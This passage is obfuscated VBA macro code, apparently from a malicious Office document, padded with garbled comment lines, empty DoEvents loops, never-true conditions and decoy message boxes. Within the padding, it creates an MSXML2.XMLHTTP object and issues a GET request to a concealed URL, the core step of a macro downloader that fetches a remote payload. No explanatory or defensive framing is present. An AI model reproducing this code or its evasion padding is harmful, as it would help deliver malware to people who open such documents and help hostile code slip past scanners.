  600. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  601. DoEvents
  602. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  603. Next cFvDnnWV
  604. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  605. DoEvents: peCJFnhG = peCJFnhG + 1
  606. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  607. Dim stZvZDCm As Integer
  608. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  609. For stZvZDCm = 0 To 7
  610. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  611. DoEvents
  612. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  613. Next stZvZDCm
  614. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  615. Loop
  616. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  617.  
  618. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  619. Dim qptjEVZa As Integer
  620. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  621. For qptjEVZa = 0 To 7
  622. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  623. DoEvents
  624. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  625. Next qptjEVZa
  626. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  627.        MsgBox ("kraivfKU45")
  628. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  629. End If
  630. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  631. If Len("jjjqrgVW7899") = Len("AGkUtrJk") Then
  632. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  633.  
  634. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  635. Dim QCBUbMUw As Integer
  636. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  637. Dim FLyqeBVs As Integer
  638. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  639. For FLyqeBVs = 0 To 6
  640. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  641. DoEvents
  642. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  643. Next FLyqeBVs
  644. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  645. QCBUbMUw = 1
  646. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  647. Do While QCBUbMUw < 22
  648. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  649. Dim jRJlFcHV As Integer
  650. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  651. For jRJlFcHV = 0 To 2
  652. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  653. DoEvents
  654. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  655. Next jRJlFcHV
  656. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  657. DoEvents: QCBUbMUw = QCBUbMUw + 1
  658. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  659. Dim jnqGYkJL As Integer
  660. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  661. For jnqGYkJL = 0 To 5
  662. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  663. DoEvents
  664. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  665. Next jnqGYkJL
  666. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  667. Loop
  668. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  669.  
  670. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  671. Dim HTdOaMLQ As Integer
  672. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  673. For HTdOaMLQ = 0 To 3
  674. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  675. DoEvents
  676. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  677. Next HTdOaMLQ
  678. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  679.       MsgBox ("Error !!!")
  680. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  681. End If
  682. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  683.  
  684. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  685. Dim mJbTodjr As Integer
  686. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  687. Dim XBtfJLFh As Integer
  688. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  689. For XBtfJLFh = 0 To 4
  690. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  691. DoEvents
  692. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  693. Next XBtfJLFh
  694. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  695. mJbTodjr = 8
  696. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  697. Do While mJbTodjr < 81
  698. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  699. Dim vSEEHhke As Integer
  700. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  701. For vSEEHhke = 0 To 9
  702. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  703. DoEvents
  704. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  705. Next vSEEHhke
  706. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  707. DoEvents: mJbTodjr = mJbTodjr + 1
  708. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  709. Dim BUvBgKXD As Integer
  710. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  711. For BUvBgKXD = 0 To 8
  712. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  713. DoEvents
  714. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  715. Next BUvBgKXD
  716. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  717. Loop
  718. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  719.  
  720. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  721. Dim DBbKGCSB As Integer
  722. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  723. For DBbKGCSB = 0 To 8
  724. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  725. DoEvents
  726. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  727. Next DBbKGCSB
  728. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  729.    Set RNNVUWVLESY = CreateObject("MSXML2.XMLHTTP")
  730. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  731.  
  732. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  733.    RNNVUWVLESY.Open "GET", TWTUFQULVUY, False
  734. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  735. If 295453 = 295453 + 1 Then End
  736. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  737. If 6516 < 99 Then
  738. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  739.  
  740. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  741. Dim wDDDCpIP As Integer
  742. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  743. Dim xWKmgzYS As Integer
  744. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  745. For xWKmgzYS = 0 To 9
  746. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  747. DoEvents
  748. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  749. Next xWKmgzYS
  750. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  751. wDDDCpIP = 8
  752. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  753. Do While wDDDCpIP < 52
  754. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  755. Dim cHsWJeEa As Integer
  756. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  757. For cHsWJeEa = 0 To 9
  758. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  759. DoEvents
  760. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  761. Next cHsWJeEa
  762. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  763. DoEvents: wDDDCpIP = wDDDCpIP + 1
  764. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  765. Dim vSTlPCRX As Integer
  766. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  767. For vSTlPCRX = 0 To 3
  768. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  769. DoEvents
  770. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  771. Next vSTlPCRX
  772. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  773. Loop
  774. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  775.  
  776. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  777. Dim AlfDmysR As Integer
  778. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  779. For AlfDmysR = 0 To 4
  780. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  781. DoEvents
  782. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  783. Next AlfDmysR
  784. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  785.        MsgBox ("IIuQRXhv71")
  786. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  787. End If
  788. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  789. If Len("CaVTkUaX4563") = Len("GOrPUGyQ") Then
  790. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  791.  
  792. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  793. Dim vxupHaMF As Integer
  794. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  795. Dim CLbJWdHL As Integer
  796. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  797. For CLbJWdHL = 0 To 2
  798. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  799. DoEvents
  800. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  801. Next CLbJWdHL
  802. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  803. vxupHaMF = 8
  804. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  805. Do While vxupHaMF < 97
  806. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  807. Dim NnyjlyjX As Integer
  808. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  809. For NnyjlyjX = 0 To 2
  810. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  811. DoEvents
  812. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  813. Next NnyjlyjX
  814. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  815. DoEvents: vxupHaMF = vxupHaMF + 1
  816. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  817. Dim daKwgXcW As Integer
  818. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  819. For daKwgXcW = 0 To 1
  820. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  821. DoEvents
  822. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  823. Next daKwgXcW
  824. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  825. Loop
  826. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  827.  
  828. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  829. Dim EidJoDho As Integer
  830. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  831. For EidJoDho = 0 To 4
  832. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  833. DoEvents
  834. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  835. Next EidJoDho
  836. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  837.       MsgBox ("Error !!!")
  838. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  839. End If
  840. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  841.  
  842. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  843. Dim ijUublRx As Integer
  844. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  845. Dim OxvLLspP As Integer
  846. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  847. For OxvLLspP = 0 To 3
  848. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  849. DoEvents
  850. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  851. Next OxvLLspP
  852. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  853. ijUublRx = 5
  854. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  855. Do While ijUublRx < 66
  856. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  857. Dim AhYgrheX As Integer
  858. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  859. For AhYgrheX = 0 To 4
  860. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  861. DoEvents
  862. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  863. Next AhYgrheX
  864. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  865. DoEvents: ijUublRx = ijUublRx + 1
  866. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  867. Dim GGklVtpW As Integer
  868. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  869. For GGklVtpW = 0 To 3
  870. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  871. DoEvents
  872. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  873. Next GGklVtpW
  874. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  875. Loop
  876. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  877.  
  878. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  879. Dim UUnQmcpS As Integer
  880. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  881. For UUnQmcpS = 0 To 2
